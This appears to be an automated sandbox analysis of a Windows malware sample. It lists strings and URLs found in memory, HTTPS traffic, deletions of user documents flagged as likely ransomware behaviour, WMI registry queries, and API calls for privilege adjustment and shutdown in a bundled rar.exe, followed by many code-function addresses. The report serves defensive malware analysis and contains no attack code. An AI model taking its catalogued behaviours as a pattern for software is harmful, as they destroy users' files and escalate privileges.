Source: 9g9LZNE4bH.exe, 00000002.00000002.2399793593.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4A4000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B4D8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2110914947.000001F12B36D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2125868086.000001F12B4D8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C458000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2112269853.000001F12B31C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2111259470.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2093044186.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2110914947.000001F12B37C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 9g9LZNE4bH.exe, 00000002.00000003.2145115778.000001F12B37E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2068920693.000001F12B37F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2085069961.000001F12B37F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2110914947.000001F12B37E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon-196x196.2af054fea211.png
Source: 9g9LZNE4bH.exe, 00000002.00000003.2085069961.000001F12B37F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2110914947.000001F12B37E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4FC000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2137521294.000001F12BAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4A4000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2407250158.00007FF8A87B4000.00000004.00000001.01000000.0000000F.sdmp, libssl-1_1.dll.0.dr, libcrypto-1_1.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407700677.00007FF8A8D69000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399251946.000001F12AB14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2138960524.000001F12B1CB000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ? ?\Common Files\Desktop\BJZFPPWAPT.docx	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ? ?\Common Files\Desktop\BJZFPPWAPT.docx	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ? ?\Common Files\Desktop\NVWZAPQSQL.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ? ?\Common Files\Desktop\BJZFPPWAPT.png	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ? ?\Common Files\Desktop\NWCXBPIUYI.mp3	Jump to behavior

Source: cmd.exe

Process created: 53

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA1A3A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

70_2_00007FF6AA1A3A70

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA1CB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

70_2_00007FF6AA1CB57C

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA51000	0_2_00007FF78DA51000
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA769D4	0_2_00007FF78DA769D4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA58BD0	0_2_00007FF78DA58BD0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA69F10	0_2_00007FF78DA69F10
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA75EEC	0_2_00007FF78DA75EEC
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA61DC4	0_2_00007FF78DA61DC4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA65DA0	0_2_00007FF78DA65DA0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA63610	0_2_00007FF78DA63610
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA6E5E0	0_2_00007FF78DA6E5E0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA5AD1D	0_2_00007FF78DA5AD1D
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA718E4	0_2_00007FF78DA718E4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA59870	0_2_00007FF78DA59870
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA61FD0	0_2_00007FF78DA61FD0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA617B0	0_2_00007FF78DA617B0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA79798	0_2_00007FF78DA79798
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA68804	0_2_00007FF78DA68804
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA6DF60	0_2_00007FF78DA6DF60
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA6DACC	0_2_00007FF78DA6DACC
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA621D4	0_2_00007FF78DA621D4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA619B4	0_2_00007FF78DA619B4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA63A14	0_2_00007FF78DA63A14
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA68154	0_2_00007FF78DA68154
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA70938	0_2_00007FF78DA70938
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA7411C	0_2_00007FF78DA7411C
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA5A4E4	0_2_00007FF78DA5A4E4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA76488	0_2_00007FF78DA76488
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA70938	0_2_00007FF78DA70938
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA62C80	0_2_00007FF78DA62C80
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA73C80	0_2_00007FF78DA73C80
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA75C70	0_2_00007FF78DA75C70
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA61BC0	0_2_00007FF78DA61BC0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA5A34B	0_2_00007FF78DA5A34B
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF78DA51000	2_2_00007FF78DA51000
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF78DA769D4	2_2_00007FF78DA769D4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF78DA69F10	2_2_00007FF78DA69F10
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF78DA75EEC	2_2_00007FF78DA75EEC
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A885EEC0	2_2_00007FF8A885EEC0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A88579D0	2_2_00007FF8A88579D0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A87FFAB0	2_2_00007FF8A87FFAB0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A87F7E90	2_2_00007FF8A87F7E90
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A88569C0	2_2_00007FF8A88569C0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A884EAA0	2_2_00007FF8A884EAA0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A888AA30	2_2_00007FF8A888AA30
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A8864A40	2_2_00007FF8A8864A40
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A87F4B20	2_2_00007FF8A87F4B20
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A880ACF0	2_2_00007FF8A880ACF0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A87FAC00	2_2_00007FF8A87FAC00
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A8806C40	2_2_00007FF8A8806C40
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92EB360	2_2_00007FF8A92EB360
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92E1537	2_2_00007FF8A92E1537
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A9340B30	2_2_00007FF8A9340B30
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92E6BA0	2_2_00007FF8A92E6BA0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92E168B	2_2_00007FF8A92E168B
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92E15B4	2_2_00007FF8A92E15B4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92E1BE0	2_2_00007FF8A92E1BE0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF8A92E20B3	2_2_00007FF8A92E20B3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8475F1DCA	7_2_00007FF8475F1DCA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8476C3027	7_2_00007FF8476C3027
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FF8475D205D	42_2_00007FF8475D205D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FF8475D3EC5	42_2_00007FF8475D3EC5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FF8475D3EB5	42_2_00007FF8475D3EB5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FF8476A17D9	42_2_00007FF8476A17D9
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18ABA0	70_2_00007FF6AA18ABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA190A2C	70_2_00007FF6AA190A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B7B24	70_2_00007FF6AA1B7B24
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1AAE10	70_2_00007FF6AA1AAE10
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1954C0	70_2_00007FF6AA1954C0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA191180	70_2_00007FF6AA191180
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1882F0	70_2_00007FF6AA1882F0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA181884	70_2_00007FF6AA181884
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18B540	70_2_00007FF6AA18B540
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C4B38	70_2_00007FF6AA1C4B38
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D9B98	70_2_00007FF6AA1D9B98
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA198C30	70_2_00007FF6AA198C30
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C5C8C	70_2_00007FF6AA1C5C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B0D20	70_2_00007FF6AA1B0D20
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18DD04	70_2_00007FF6AA18DD04
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D6D0C	70_2_00007FF6AA1D6D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1A9D0C	70_2_00007FF6AA1A9D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1AD97C	70_2_00007FF6AA1AD97C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1849B8	70_2_00007FF6AA1849B8
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C69FD	70_2_00007FF6AA1C69FD
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C5A70	70_2_00007FF6AA1C5A70
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1BFA6C	70_2_00007FF6AA1BFA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1EAAC0	70_2_00007FF6AA1EAAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18CB14	70_2_00007FF6AA18CB14
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B5F4C	70_2_00007FF6AA1B5F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1EAF90	70_2_00007FF6AA1EAF90
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1EDFD8	70_2_00007FF6AA1EDFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C4FE8	70_2_00007FF6AA1C4FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA193030	70_2_00007FF6AA193030
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1BC00C	70_2_00007FF6AA1BC00C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1AC05C	70_2_00007FF6AA1AC05C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B0074	70_2_00007FF6AA1B0074
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B8040	70_2_00007FF6AA1B8040
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1E00F0	70_2_00007FF6AA1E00F0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1A0104	70_2_00007FF6AA1A0104
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C9D74	70_2_00007FF6AA1C9D74
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D1DCC	70_2_00007FF6AA1D1DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA191E04	70_2_00007FF6AA191E04
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18EE08	70_2_00007FF6AA18EE08
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1DFE74	70_2_00007FF6AA1DFE74
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA198E68	70_2_00007FF6AA198E68
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1CAE50	70_2_00007FF6AA1CAE50
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1CEEA4	70_2_00007FF6AA1CEEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18CE84	70_2_00007FF6AA18CE84
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA189EFC	70_2_00007FF6AA189EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1BAF0C	70_2_00007FF6AA1BAF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA192360	70_2_00007FF6AA192360
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B0374	70_2_00007FF6AA1B0374
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1AC3E0	70_2_00007FF6AA1AC3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1AD458	70_2_00007FF6AA1AD458
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C5468	70_2_00007FF6AA1C5468
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18A504	70_2_00007FF6AA18A504
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C2164	70_2_00007FF6AA1C2164
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C81CC	70_2_00007FF6AA1C81CC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1E41CC	70_2_00007FF6AA1E41CC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA19E21C	70_2_00007FF6AA19E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D2268	70_2_00007FF6AA1D2268
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1A7244	70_2_00007FF6AA1A7244
